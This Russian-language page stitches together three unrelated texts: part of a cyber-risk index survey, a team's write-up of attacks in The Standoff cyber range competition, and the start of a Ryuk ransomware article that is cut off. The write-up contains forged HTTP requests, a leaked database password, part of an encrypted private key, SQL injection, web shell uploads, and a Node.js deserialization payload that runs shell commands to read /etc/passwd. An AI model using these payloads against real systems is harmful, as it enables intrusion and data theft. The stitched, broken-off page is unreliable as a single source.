Индекс киберготовности

Для его расчёта используются ответы респондентов на 31вопрос относительно различных связанных с безопасностью факторов в организации. Примеры вопросов:

1. Каков бюджет организации на безопасность достаточен для защиты активов данных и IT-инфраструктуры?

2. Обладает ли персонал организации, отвечающий за IT безопасность, достаточными знаниями, навыками и опытом для защиты информационных активов и IT-инфраструктуры?

3. Рассматривают ли руководители организации IT-безопасность как главный бизнес-приоритет?

4. Отчитывается ли руководитель отдела IT-безопасности организации перед высшим руководством?

5. Принимают ли генеральный директор и Совет директоров организации активное участие в управлении безопасностью?

6. Тратит ли организация значительные средства на обучение сотрудников требованиям безопасности?

7. Тратит ли организация значительные ресурсы на оценку рисков безопасности третьих сторон, включая облако и всю цепочку поставок?

8. Способна ли ИБ-служба моей организации обнаруживать атаки нулевого дня?

Ответы на вопросы оцениваются так:

• Совершенно согласен = 10 баллов;

• Согласен = 7,5 балла;

• Не уверен в ответе = 5 баллов;

• Не согласен = 2,5 балла;

• Сильно не согласен = 0 баллов.

Индекс киберугроз

Учитывает ответы на 10 вопросов, относящихся к происходившим в компании в течение года событиям. Примеры вопросов:

• Q1. Сколько отдельных инцидентов, связанных с утерей или кражами данных о клиентах, произошло в вашей организации за последние 12 месяцев?

• Q2. Сколько отдельных случаев нарушения безопасности данных, связанных с утечкой информационных активов, произошло в вашей организации за последние 12 месяцев?

• Q3. Сколько успешных кибератак с проникновением в сети и/иликорпоративные системы вашей организации произошло за последние 12месяцев?

Часть вопросов в составе индекса киберугроз позволяют оценить риски, связанные с используемыми в компании данными, наиболее вероятные для компании угрозы, последствия киберинцидентов и наиболее уязвимые области инфраструктуры компании.

Ограничения методики

Поскольку и индекс готовности, и индекс киберугроз основаны на результатах опросов, имеются характерные для таких исследований ограничения, которые необходимо учитывать. Наиболее характерные для опросов ограничения:

• Предвзятость в ответах. Текущие результаты основаны на выборке результатов опросов. Мы разослали опросы репрезентативной выборке, в результате чего было получено 2795пригодных для использования ответов, однако всегда остаётся возможность, что другие сотрудники организаций имеют существенно отличное от мнения респондента мнение.

• Смещение рамки выборки. Точность основана на контактной информации и степени репрезентативности списка респондентов, которые являются практикующими специалистами в области ИТ или ИТ-безопасности. Результаты могут быть не вполне объективными в связи с внешними событиями, а также из-за того, что мы собирали данные через интернет. Возможно, что опрос по телефону даст совсем другие результаты.

• Субъективность результатов. Качество опроса основано на достоверности конфиденциальных ответов, полученных от субъектов. Несмотря на то, что вопросы составлены так, чтобы уравновешивать субъективность, всегда существует вероятность того, что субъект не предоставил точные ответы.

Основные выводы CRI 2020

Несмотря на имеющиеся ограничения индекс киберриска позволяет получить достаточно объективную картину уровня защищённости компаний в различных регионах.

Все регионы, участвовавшие в исследовании, показали повышенный риск уязвимости к кибератакам, который отражает отрицательное значение CRI. Самый высокий уровень риска по сравнению с другими регионами наблюдается в США. Это связано с тем, что США имели более низкий уровень киберготовности по сравнению с другими регионами. Основные факторы риска в области кибербезопасности, с которыми сталкиваются предприятия, можно разделить на пять категорий

Риски кибербезопасности:

• фишинг и социальная инженерия,

• клик-джек,

• вымогатели,

• бесфайловые атаки,

• ботнеты,

• атаки типа человек посередине.

Риски, связанные с данными:

• невозможность обнаружить атаки нулевого дня,

• неспособность остановить большинство кибератак.

Риски, связанные с персоналом:

• руководство компании не рассматривает безопасность как конкурентное преимущество,

• ИБ-руководитель организации (CISO) не имеет достаточных полномочий и ресурсов для повышения уровня защищённости компании.

Инфраструктурные риски:

• ИТ и ИБ-службы не владеют сведениями о физическом расположении критически важных для бизнеса данных и приложений,

• ИТ и ИБ-службы не участвует в определении приемлемого использования потенциально уязвимых технологий (таких как мобильные, облачные, социальные сети, IoT-устройства) на рабочем месте.

Операционный риск:

• неготовность к борьбе с утечками данных,

• задержки в тестировании и установке исправлений безопасности.

Наши результаты показывают, что у мирового бизнеса очень высокие шансы быть затронутым кибератакой:

• вероятность утечки данных клиентов в ближайшие 12 месяцев: 75%;

• вероятность компрометации критически важных данных в ближайшие 12 месяцев: 77%;

• вероятность одной или нескольких успешных кибератак в ближайшие 12 месяцев: 83%.

Рекомендации по защите бизнеса от киберугроз

Принимая во внимание текущую ситуацию с угрозами и основываясь на выводах, полученных в процессе расчёта CRI, глобальный бизнес всё ещё может значительно минимизировать свои риски, внедряя лучшие методы обеспечения безопасности. Кним относятся:

• построение системы безопасности на основе критических данных путём сосредоточения внимания на управлении рисками и угрозах, которые могут быть направлены на эти данные;

• минимизация сложности инфраструктуры и улучшение согласованности по всему стеку безопасности;

• смена позиции высшего руководства компаний в части восприятия безопасности как конкурентного преимущества;

• улучшение защиты бизнес-среды, включая надлежащую защиту BYOD, устройств IoT и промышленных устройств IoT, а также облачной инфраструктуры;

• инвестирование в новых талантливых сотрудников и в существующий персонал службы безопасности, чтобы помочь им идти в ногу с быстро меняющимся ландшафтом угроз, а также улучшить показатели удержания персонала;

• проверка существующих решений безопасности с использованием новейших технологий для обнаружения актуальных угроз, таких как программы-вымогатели и бот-сети;

• формирование функциональной, масштабируемой и динамичной архитектуры безопасности ИТ.

Привет, наш дорогой читатель!

Как обещали, продолжаем наш цикл статей про участие нашей команды The Codeby в кибербитве на полигоне The Standoff. Начало нашего приключения можно почитать здесь. В этот раз вы узнаете технические подробности реализованных бизнес-рисков, уязвимостей в веб-приложениях и некоторые хитрости, которые в какой-то мере помогли нам стать победителями.

Мы уже писали, что разбились на две команды и разделили цели. При этом в каждой команде был инфраструктурщик, вебер, фишер. Несмотря на то, что это дало свои плоды, оглядываясь назад, мы понимаем, что таким образом у нас уменьшилась коллаборация между специалистами одной категории. Например, для вебера со знаниями PHP попадался ресурс на Ruby, и наоборот. Из-за этого в некоторых моментах мы потеряли время, что непростительно в конкурсе, где каждая команда пытается быстрее эксплуатировать уязвимость и закрыть ее. В следующем году возможно стоит сделать разделение именно по специализациям для более быстрого захвата входных точек.

#Риски

В этом блоке я (Леша - @SooLFaa) (Rambler Group) расскажу, как нами были взяты некоторые риски в части WEB и ряд RCE.

В первый день соревнования мы сразу поделились на две команды. Те, кто пробивали внешний периметр и те кто дальше закреплялись внутри доменов (веб и инфраструктура). Я был в первой команде и сразу сконцентрировался только на одной цели - это сервис покупки авиабилетов. Хотя там были уязвимости типа SQL Injection, гадский WAF не оставлял шансов проломиться через них, тогда я стал исследовать логику работы ресурса.

Риск. Покупка бесплатных авиабилетов и билетов на аттракционы.

Для начала разобрался в логике работы процесса покупки билета, по шагам перехватывая каждый запрос в burpsuite от этапа регистрации до этапа оплаты билета.

1. Забиваем параметры поиска и находим любой рейс.

2. Заполняем перс. данные на нужный рейс и жмакаем кнопочку Купить.

   

3. Перехватываем этот запрос в burp и видим следующее:

4) Сохраняем запрос и идем дальше.

А дальше меня перекидывает на платежный шлюз, но никаким способ купить билет не удавалось. Тогда снова прошелся по всем шагам и нашёл в исходном коде странице закомментированную форму, которая ссылается на скрипт successpayment.php с теми же именами параметров, что и запрос в пункте 3. БИНГО! Вероятно - это скрипт подтверждения оплаты.

5) Изменив в POST запросе целевой скрипт, я вернулся в свой личный кабинет и увидел в нем купленный билет.

Нашему счастью не было предела, мы подумали, что реализовали риск:

Логика простая, если билет стоил 1000 рублей, то, купив его за 0 рублей, мы кратно изменили цену. Но по замыслу организаторов - это оказалось не так. Пока наш капитан ушёл доказывать организаторам нашу правду, тем временем, Мурат (@manfromkz) проломил портал города с помощью уязвимости в заливке файлов. Всё оказалось очень просто. Под видом картинки он загрузил payload для выполнения команд на сервере.

Найти путь до картинки тоже не составило труда. Его было видно прямо в разметке HTML.

В итоге наш бэкдор выглядел так.

Скачали все исходники, залили полноценный бэкдор и ушли с этого сервера. Это оказалось нашей роковой ошибкой, но об этом я расскажу чуть позже. А тем временем, наш капитан вернулся. Оказывается - это была незапланированная уязвимость, но нам её засчитали и обозначили их как новые риски. Примечательно, что почти одновременно со мной делала тоже самое команда Deteact.

Но и это ещё не всё. Оказывается, точно такой же скрипт был и на кассе аттракционов. За дело взялся Олег (@undefi), проделав, всё тоже самое, точно таким же способом мы смогли покупать билеты и там. В итоге +2000 очков в кармане.

Дальше мы разбежались каждый по своим таргетам. Кто - то пытался проломить другие хосты, я продолжил брать риски на авиакассе, Мурат уже стрелял как из пулемета в багбаунти (за что мы его прозвали пулеметчик). Об этом он вам сам расскажет. Но вернемся к нашей кассе

Риск. Сделать недоступным регистрацию на рейс.

Тем же способом, я начал исследовать каждый запрос в функционале регистрации на рейс.

И я задумался, а что будет если из запроса удалить id документа и попытаться зарегистрировать несколько билетов на несуществующее место? Одним выстрелом я делаю сразу и то и то. Изменяем запрос. sit=-11&ticketid=6084&transfer=true&transferid=&regdoc=

Запрос, хоть и выполнился успешно, но регистрация не была пройдена. Когда я снова попытался перехватить запрос, кнопка регистрации просто не реагировала. БИНГО!!! Сломали систему регистрации, но только для одного билета.

Смотрим дальше внимательней, видим, что id билета - это числовой идентификатор.

Burp Intruder - Пришло твоё время!

Таким образом, недоступны стали все билеты для регистрации. Ну и + ещё 1000 очков.

Остался еще один риск - это

Риск. Утечка данных о пассажире со специальным идентификатором 1605157946597718.

Посмотрев исходники города слитые Муратом, обнаружили помимо файла servicelogic.php ещё файл citydump.sql - и тут пришла идея. Если есть такой файл на главном портале, значит на сайте авиакомпании может быть что - то похожее и почти сразу же угадали имя файла aviadump.sql

Изучив дамп базы, мы увидели поле regrole, которому если задать числовое значение 3, означало админскую роль. Ну а дальше всё просто, регистрируем нового пользователя с правами админа.

У нас открывается скрытый функционал. Вбиваем идентификатор..

..Иииииии.ВНИМАНИЕ!!!!

Ничего нету!!! Видимо просто до нас уже кто - то удалил эти данные. Но тем не менее риск нам засчитали.

Пора уже оставить в покое эту бедную кассу и перейти в город. Ведь там нас ждал целый дамп с исходниками, который я и начал ресерчить.

Риск. Удаление информации по штрафам и задолженностями граждан

Изучая исходник, я откопал следующие куски кода

Создание штрафов пользователям:

```

if(isset($_POST['fine']) && $_POST['fine'] == 'create'){//var_dump($_POST);die;$queryArray =['siss', $_POST['doc'], $_POST['type'], $_POST['des'], $_POST['price']];$result = $db->executeQuery('INSERT INTO fine VALUES (null, ?, ?, ?, ?)', $queryArray);if(!$result){if($db->getQueryResult($db->executeQuery('SELECT id FROM fine WHERE id = ?', ['i', $db->getLastInsertId()]))){$_SESSION['message'] = ['Fine on document: ' . $_POST['doc'] . ' was create', 'success'];}}else$_SESSION['message'] = ['Error!', 'danger'];}

Удаление штрафов пользователям:

if(isset($_POST['fine']) && $_POST['fine'] == 'delete'){//var_dump($_POST);die;$db->executeQuery('DELETE FROM fine WHERE id = ?', ['i', $_POST['fine_id']]);}

Думаю, вы уже догадались какой вектор.

Так как к тому времени вся инфраструктура уже дышала наладом и кроме нас там побывало куча человек, я решил протестировать уже найденный вектор.

Запрос на создание штрафа:

POST /server_script/service_logic.php HTTP/1.1Host: 10.126.40.247:8005User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://10.126.40.247:8005/index.php?ipage=user_pageContent-Type: application/x-www-form-urlencodedContent-Length: 53Cookie: sfcsrftoken=up9hE0W7Fb2UFDuuBczPRbO6uZmCRrbiEP0qnPSI9on6c54PPr8P8sLPkouQH7OF; PHPSESSID=h3rd6f8pruoh2c8ilpec6knlg7Connection: closeUpgrade-Insecure-Requests: 1fine=create&doc=222333&type=3&des=TEST&price=-1

В результате создан штраф Test с задолженностью -1

И запрос на удаление штрафа:

POST /server_script/service_logic.php HTTP/1.1Host: 10.126.40.247:8005User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://10.126.40.247:8005/index.php?ipage=user_pageContent-Type: application/x-www-form-urlencodedContent-Length: 53Cookie: sfcsrftoken=up9hE0W7Fb2UFDuuBczPRbO6uZmCRrbiEP0qnPSI9on6c54PPr8P8sLPkouQH7OF; PHPSESSID=h3rd6f8pruoh2c8ilpec6knlg7Connection: closeUpgrade-Insecure-Requests: 1fine=delete&fine_id=<number>

Штрафа не оказалось. Что же оформляем отчет, сдаем риск и получаем ответ от организаторов: НЕ ТАК НАДО БЛО. Риск не засчитан!. Сказать, что я был в шоке, ничего не сказать, ведь штраф удалён. И даже больше, тем же Intruderом я удалил ВСЕ ШТРАФ в системе, тем самым, сыграв в Робин Гуда и освободив мирных граждан от уплаты. Но делать нечего, продолжаем ресерчить исходники.

Организаторы непрозрачно намекнули, что надо было править в базе. И, собственно, я почти сразу нахожу в том же коде connectionString.

$db = new db('172.17.61.218:3306', 'script', ';zxxslfc', 'city');

Разумеется, напрямую с игровой сети база недоступна. Очевидно, надо снова зайти на сервер города и оттуда попытаться дернуть данные. И вот тут-то и начались танцы с бубнами. Уязвимость больше недоступна из-за жесткого WAF, который отрезал просто всё и легитимные запросы, и нелегитимные. Даже авторизоваться стало нельзя. Больше двух часов я потратил на попытки вернуться по пути Мурата, но всё тщетно. Общение с организаторами тоже ничего не дало. Что же, придется выкручиваться иначе, смотрим на сеть города и ищем другие хосты рядом, через которые мы также могли бы попасть в базу. Большинство из них были уже недоступны или закрыты WAFом (защитники тоже не спали всё это время) наши бэкдоры потеряны, но таки улыбнулась нам удача, нашли мы всё-таки хост http://10.126.40.5:3000/.

Объединившись с Муратом, стали исследовать функционал голосования.

В корне веб сервера нашли файл auth.json, который содержал ключи для авторизации.

Само же веб приложение предлагало функционал голосования, ключевый запрос которой был следующий:

POST /api/vote HTTP/1.1HOST: 10.126.40.5:3000Accept: application/json, text/javascript, */*; X-AUTH-Token: <тут длинная base64 строка> X-Requested-With: XMLHttpRequestContent-Type: application/jsonOrigin: http://10.126.40.5:3000Accept-Encoding: gzip, deflateAccept-Language: en-GB,en-US;q=0.9,en;q=0.8{"pollingName":"poll1", choice: "choice1"}

Так же нашли файл на сервере package.json и поняли, что перед нами NodeJS.

Google - наше всё, оказывается в одном из установленных пакетов была уязвимость в десериализации. Подробнее почитать можно тут (https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf)

Стало ясно, что Заголовок X-Auth-Token ни что иное как JWT.

Перебором директории находим ключ для генерации JWT в файле key.pem

-----BEGIN RSA PRIVATE KEY-----Proc-Type: 4,ENCRYPTEDDEK-Info: AES-128-CBC,7704733522F767AF89374B5CFF8518F0cR8PRjShevMVpgkUBmqdNiUVpEdqIyE6RlkWpin4QGG7+vw14RLJyBqrEtGXRdR9ySRRUaLhSRSkFyDoxjHtviwhK2DOTP8jlKzUGojAbLCB7RuwQk0JSci4ixMzDEOC/59iRQH4iJbd4..Oqf4XKI9Q4cpOSCiZkdH8uaJttwUS/9JbeZG3cZQme8WKyto0ya96wkk05PtsPluRBzSFhL+rocP+-----END RSA PRIVATE KEY-----

А дальше дело техники.

Генерируем JWT токен с нагрузкой для десериализации:

{  "id": "f59b33b5-6619-45bf-adcc-5331e871f12e",  "allowedToVote": {    "poll1": "_$$ND_FUNC$$_function(){ require('child_process').exec('cat /etc/passwd > /opt/polling-app/pollings/p_testcoder', function(error, stdout, stderr) { console.log(stdout) }); }()",    "poll2": "voted",    "poll3": "voted",    "poll4": "allowed"  }}

В поле X-Auth-Token подставляем наш JWT и выполняем запрос с нагрузкой cat /etc/passwd > /opt/pollingapp/pollings/ptestcoder, которая запишет в файл /opt/polling-app/pollings/ptestcoder содержимое файла /etc/passwd.

Ну и читаем файл через Path Traversal

Сдаем Rce в Баунти и возвращаемся к штрафам. Хоть мы и получили шелл, клиента mysql не было на сервере, gopher тоже, то есть ничего, что бы помогло нам хоть как-то взаимодействовать с базой. Тогда мне пришла идея дернуть прям родными средствами NodeJs данные из базы. Нагрузка получила следующий вид:

require("mysql2").createConnection({host: "172.17.61.218:3306",user: "script",database:"city",password: ";zxxslfc"}).query("SELECT * FROM fine",function(err, results, fields) { console.log(results); });

Как вы думаете, что произошло? Ответ - ошибка: mysql2 module not found. То есть нет ничего, что помогло бы нам хоть как-то получить данные. Так как сервер отрезан от интернета npm install тоже не помог. Потанцевав ещё с бубнами, Увы и Ах, мы так и не смогли добраться до этих штрафов, все доступные ранее RCE в этой сети уже не работали из - за WAF, сам портал уже умер. Хоть и хочется закончить этот риск хэппи ендом, но, к сожалению, он так и остался не взят. Теперь вы поняли про какую роковую ошибку я говорил? Надо было, как только взяли RCE в городе, сразу проресерчить скрипт и выполнить риск со штрафами.

История про ещё одно RCE

Всё время соревнования мы периодически меняли фокус внимания на багбаунти и искали SQL Injection, SSRF, LFI на всех доступных ресурсах, занимались также уязвимостями в банке (uptime которого оставлял желать лучшего). Мурат продолжал отстреливать SQL инъекциями, я положил на стол ещё пару LFI, периодически помогая команде инфраструктуры, Олег крутил RCE в Мантисе. В общем, все были при деле. И так мы наткнулись на интересный таргет.

Система, которая позволяла рисовать календарь

Перехватив запрос, увидели следующее.

Время было 3 часа ночи. Мы с Олегом ковыряли этот сервис, но никакие вектора LFI не поддавались. Тогда мне на ум приходит идея затестить SSRF, подставив url http://свойбелыйip, я получил заветный reverse-connect. SSRF на лицо. Оформили отчет, сдали в баунти. Разумеется, стали пробовать вектора с RCE (RFI), но я всё таки решил пойти поспать свои 5 часов (именно по стольку мы спали каждый день). На утро пришёл Олег и встретил меня радостным известием, что он таки докрутил вектор до RCE. Достаточно было просто положить файл на внешний сервер с содержимым: eval(тутлюбаяunixкоманда) (Ларчик просто открывался)

А мы мудрили со всякими изощренными нагрузками типа <?php shellexec(cmd) ?>

Пример вывода ls

Посмотрев исходники, всё стало на свои места. Любая команда выполнялась если просто положить её в файл, но я делал это так <?php echo ls -la; ?> и обращался к php скрипту на своем сервере. В итоге за эту уязвимость мы получили баллы сначала как за SSRF, потом ещё как за RCE. Да, оказывается, так тоже можно было :D.

Все найденные уязвимости мы описывать не будем, большинство из них были тривиальны, некоторые были неэксплуатабельны из-за действий защитников и Wafов, если все их описывать, то боюсь, на Хабре кончатся буквы :).

Ну а теперь я подытожу свою часть, на мой взгляд, самым простым, но при этом зрелищным риском.

Риск. Вывод хакерского видео на главный экран города

До конца соревнования остаётся буквально час. В последние сутки мы договорились, что перестаем сдавать отчеты и копим их, дабы не мотивировать другие команды набирать очки. Все уже уставшие, но никто не сдаётся, отрыв с ближайшими конкурентами был всего лишь на несколько тысяч баллов, т.е. достаточно им сдать всего один большой риск и они бы нас обошли.

Забавно, что этот риск мы могли бы сделать в первый же час соревнования, когда я сбрутил учетку оператора, пароль у которой был operator, с первой же попытки :D

Но всё-таки мы его не трогали и решили посмотреть в последний момент.

Залогинившись под юзером, стали исследовать все возможные запросы и нашли следующий скрипт

Он возвращал Json - Объект пользователя с паролем для сброса. Используем его для установки нового пароля.

А дальше просто меняем ссылку на видео и весь город любуется нашим логотипом, ну и вы полюбуйтесь

Вроде всё просто? Но не тут-то было. Помимо нас в конце соревнования в этот таргет валились и другие команды и так же меняли пароль администратора всё это время, соответственно у нас то и дело умирала сессия. Началось противостояние между хакерами за право владения админской учеткой. Капитан, который даёт команду Сейчас я скажу и сразу меняй пароль прям за 5 секунд. А потом крики Твою ж *, опять не успел. В итоге буквально в последние минуты соревнования мы реализовываем, кое как оформляем и отправляем этот риск. И как оказалось не зря, всё, что мы сдали в последний час, сыграло важную роль, чтобы после закрытия соревнования сохранить лидерство.

На этом я с вами, дорогие Хабравчане, прощаюсь и передаю слово своему соратнику по команде Мурату - пулеметчику, который расскажет подробно, за что он получил своё прозвище и как он сделал большинство очков в баунти.

#Запахло горелым

Эту мини-главу расскажу я - Мурат (@manfromkz). И так, похекали поехали!

В сети компании Nuft по адресу 10.126.100.167 находился сайт для онлайн регистрации студентов на разные курсы (Online course registration - OCR). LMS на минималках. Этот ресурс помог нам заработать около 4400 очков, и вы скоро узнаете как.

Сначала была найдена слепая time-based SQL-инъекция в форме авторизации на главной странице ресурса:

Много времени было потрачено на раскрутку этой инъекций, но в итоге хэш пароля и логин администратора удалось получить:

Тут ждала еще одна засада - хэш никак не хотел брутиться. Не помогла даже специально собранная брут-машина с крутыми видеокартами и с огромными словарями. Наверняка другая команда уже вошла в систему и сменила пароль администратора на сложный. Хост был заброшен из-за этого на некоторое время.

Позже я просто попробовал ввести в форму авторизации классический вектор ' or 1='1 и тут запахло горелым. Нет, дело не только в том, что мы потратили кучу времени на раскрутку ресурсозатратной уязвимости и не в тщетных попытках брута небрутабельного хэша, а в том, что реально что-то горело. И это не то место, о котором вы возможно подумали =)

Начал чувствоваться сильный запах гари. Я срочно встал и начал вынюхивать все рабочее место, чтобы исключить неисправность кабелей или ноутбука. В рабочей комнате не смог найти источник запаха, и начал носиться по всей квартире, пока не услышал шум на лестничной площадке. Как только открыл дверь, на меня пошли клубки дыма и ужасный запах, а все соседи были на лестничной площадке, кто-то в спешке выводил своих детей на улицу. Спросил у любого рандомного соседа:

• Нашли источник дыма?

Ответ был кратким и содержательным:

• Да, на первом этаже.

Сказал про себя отлично, but not today!, закрыл дверь, открыл окна и продолжил исследовать хост, в надежде, что не сгорю или не задохнусь.

Вернемся к нашему объекту. После авторизации под студентом, можно редактировать свой профиль. Диоксид углерода сделал свое, и я решил просто загрузить php-файл вместо фотки студента:

Получилось. Да, все просто. Получаем заветный шелл:

Шелл у нас приватный и классный (спасибо @explorer), естественно, что местами лили и общедоступные шелы и забирали шелы у других команд или даже маскировали свой под легитимные страницы.

Было предпринято огромное количество попыток повышения привилегий полученного пользователя www-data. Но как назло - ядро свежее, кривых сервисов нет, все энумерации ничего годного не показали. Палить 0day эксплойты под последние версии ядра Linux было нецелесообразно, поэтому мы решили пойти иным путем.

Так как шелл у нас приватный и классный, через пару нажатий кнопок в интерфейсе, я скачал исходный код системы OCR. BugBounty программа The Standoff принимала уязвимости типа SSRF, XXE, LFI/RFI, RCE, SQL-injection. Открыв код системы, я понял, что сейчас на нашей улице будет праздник, если не сгорю :-).

Так можно продолжать еще на две страницы, если не больше. Везде ничего не фильтруется. Сколько уязвимостей видите в приведенном участке кода из файла checkavailability.php? Я вижу один. А в edit-course.php? Тоже один? Я вижу четыре. Точно так же в course.php вижу четыре SQL-инъекции, а в student-registration.php вижу еще две. Чисто технически, уязвимость каждого параметра каждого скрипта - это отдельная уязвимость. Несложная арифметика 1+4+4+2=11. Считайте уже 11*150=1650 баллов у нас в кармане. И это только начало. Просто покажу список отправленных репортов только по этому хосту и только по SQL-injection:

Да и были конечно моменты, от которых горело не только в подъезде но и в душе, когда брали вектор, нас выпуливали, мы не сдавались и бились до конца, но иногда включались или организаторы или защитники и правили код, убирая уязвимости напрочь. Таких случаев было не мало и каждый совершенно различен, но вот просто очень охото, чтобы Вы это прочли и поняли каково это.

Изложение матное и дико увлекательное про хост 10.126.80.187 от Олега (@undefi)

Изначально, там был сервис с двумя уязвимыми файлами. Первой нашли читалку файлов, через которую прочитали исходники и нашли второй файл с RCE.

Скрипты выполнялись от рута. Залились на хост, пытались с него пробиться в локалку, но у него не было доступа. Залили агента, залили себе шелл на будущее для майнеров и пошли дальше.

Спустя какое-то время вернулись к хосту и обнаружили, что нас выкинули. Залились снова, спрятали шелл. Мура начал изучать хост, нашёл шелл другой именитой команды, выкинули их. Увидели, что шелл льётся снова, и то, что противники закрепились по крону, заблочили им каталог для залива. И снова мы оставили хост до лучших времен.

Пошли тренировать навыки на KoTH (http://personeltest.ru/aways/tryhackme.com/games/koth)

Когда настала пора майнеров, мы вернулись к хосту и обнаружили что? Правильно похекеров! Во-первых, нас снова выкинули. Во-вторых, уязвимость с RCE запатчили. Кто это был, красные или синие, нам неизвестно. Но запатчили красиво - повесили на уязвимый параметр экранирование (escapeshellargs()).

Но читалка файлов осталась.

Ранее, изучая хост, мы нашли там ещё веб-сервисы. Стали изучать через читалку и обнаружили ещё один уязвимый файл с RCE. Но картину нехило так портил WAF. Но, мы ребята не простые, поэтому щёлкнули этот файрволл и смогли залиться на хост. И вот тут начинается весь фатал-карнавал.

Заваливаемся с Мурой на хост, после стандартные команды: w, ps. А там швах: 7 или 8 рутовых ssh сессий, куча бэк коннектов. Зовём на помощь зал - Кролика, Богдана и говорим, что сейчас будет битва :)

Одновременно коннектимся к хосту, меняем рутовый пароль, начинаем рубить бэкконнекты и рвать рутовые сессии. В то же мгновение кто-то подключается снова. Снова выкидываем, одновременно судорожно пытаемся искать шеллы.

Кто-то кидает броадкаст сообщение через wall в духе: плохиши, хватит выкидывать. Выкидывают нас, мы снова заходим, идёт борьба на лучший пинг и самые быстрые пальцы.

Отрубаем bash у рута, видим, что есть ещё юзеры типа rooot, ro0t и учётки, похожие на орговские. Дропаем всех, но коннекты продолжаются. Отрубаем авторизацию ssh по паролю, меняем порт, Мура генерит ключ и на какое-то время это помогает. Выдыхаем.

В это время в чате капитанов начинается бугурт.

Мы расслабляемся, ищем неспешно шеллы, находим снова уже знакомый нам шелл, окончательно его вычищаем, заливаем агента и смотрим дальше. И тут нас выпуливают, закрывают порт ssh и дропают агента. Я так понимаю, это были организаторские властелины или те, кто увёл учётку у них.

В чате капитанов продолжается холивар, все кидаются жалобами друг в друга, мы материмся в дискорде, обстановка напряжённая, но разрядку внёс один из капитанов мемчиком.

Несколько часов спустя хост вернулся в строй после реверта, но как-то странно. Системные настройки вернули, а вот скрипт с RCE как был экранирован, так и остался до конца.

Благо, что мы нашли другую уязвимость, снова залились и просто на нём майнили и юзали, как прокси для обхода WAF на другом хосте.

Всегда стоит вернуться время спустя и root в кармане

Когда сдавали последние отчеты по данному хосту, в личные сообщения нашего капитана Тимура (@BadBlackHat) написал Михаил Левин:

Но мы хотели еще. Только дальше не получилось, так как кто-то начал удалять базу данных хоста, причем через крон. Любая попытка восстановить базу в тот же момент проваливалась. Кто бы это не был, это было очень жестоко, но с одной стороны полезно для нас, так как мы уже успели сдать много уязвимостей. А дальнейшая судьба хоста нас мало волновала. На тот момент, сама статистика сданных уязвимостей на сайте The Standoff уж точно взбудоражила другие команды:

Кстати, после The Standoff ко мне постучался сосед и сообщил, что я его топлю. Я просмотрел все места в ванной и не нашел источник, показал соседу. Он побежал на этаж выше. Источник был там. Оказывается моя квартира выступила как прокси для соседа выше, чтобы тот затопил соседа подо мной. Так что, можно смело сказать - огонь и медные трубы я прошел.

А турнирная таблица выглядела так:

Вы скажете всего лишь третье место, а я скажу всего лишь расслабленные соперники. Об этом в хитростях, в следующей мини-главе. А мораль сей басни - если есть возможность, всегда скачивайте исходники для ручного анализа.

#Хитрости

Любой нами отправленный баг в BugBounty программу почти моментально фиксился, не оставляя шансов на закрепление. Иногда просто отрубали весь сервис, иногда удаляли весь уязвимый скрипт, иногда забрасывали все под фаервол. Да, правильных патчей было мизерное количество. И тут мы начали задумываться, а зачем гонятся за баллами в BugBounty, если это отрезает нам путь для дальнейшего исследования инфраструктуры? Какая разница, на какой строчке мы находимся в турнирной таблице, если важна только конечная позиция? Ведь хорошо смеется тот, кто смеется последним.

И тут в общем чате для репортов начались появляться такие репорты:

Думаю, суть ясна. Отчеты можно было сдать в самом конце, дав соперникам возможность расслабиться. Но правда реализованные риски все равно вывели нас на первое место, и запас был почти бесполезен, но укрепил нашу позицию. Были и другие козыри в виде большого количества захваченных хостов на инфраструктуре, но об этом в сл. части.

# До встречи в SCADA

Пишу на правах вице-капитана (@clevergod) отступление к 3-й и самой огромной и невероятно захватывающей части.

Таких ситуаций за 5 суток, чистым материалом набралось вагон и маленькая тележка и поверьте затронутые в статье вещи, никогда не опишут самого процесса участия. Инфраструктура менялась на ходу и была очень большой и не статичной. Замечаете разницу наших статей от статей, поданных другими командами с прошлых PHDays? Мы всегда мечтали почитать подобный материал, для простых ребят, чтобы не читалось, как статья вендора или газета Правда. Мы хотим лишь доступно пояснить все, что мы переживали, какие были эмоции, трудности, успехи, что приходилось делать для победы и что у каждого из нас были помимо битвы семейные и рабочие дела, различные ЧП. Но не смотря на все это, мы ни разу не повздорили и старались выйти из даже самых трудных или тупиковых ситуаций. В следующей части, надеемся заключительной, мы опишем инфраструктурный процесс. Как мы брали хосты, как боролись с другими командами за звание короля горы, как нас переполняли эмоции при регулярном отлупе, как мы развернули самую масштабную майниг-ферму и многое другое. Вместо тысячи слов, подогревая интерес, покажу, что Вас ждет дальше.

Хотим от всей команды попросить организаторов не менять условия участия на кибер-полигоне и не переносить ИС в локальный режим, мы на удаленке отлично играли и собраться всем в одном месте на 5 суток будет крайне проблематично. А еще огромная просьба, реализовать окончание кибер-битвы за день до конца мероприятия, мы очень хотим посмотреть на доклады.

Киберкриминалитет нашёл для себя практически идеальную схему получения сверхдоходов: проникнуть в корпоративную сеть, скопировать все данные, до которых получилось добраться, а затем зашифровать информацию на всех скомпрометированных ресурсах и потребовать выкуп. Слитая информация может быть продана, если жертва откажется платить. А с зашифрованными системами особо не поработаешь, как показывает пример с Norsk Hydro или более свежие случаи с Kia Motors, Garmin, Hyundai и Kawasaki Heavy Industries. Одним из самых успешных вымогателей последних лет считается Ryuk, операторы которого заработали более 150 млн долларов США. Разберёмся, как работает топовый вымогатель.

Распространение и проникновение

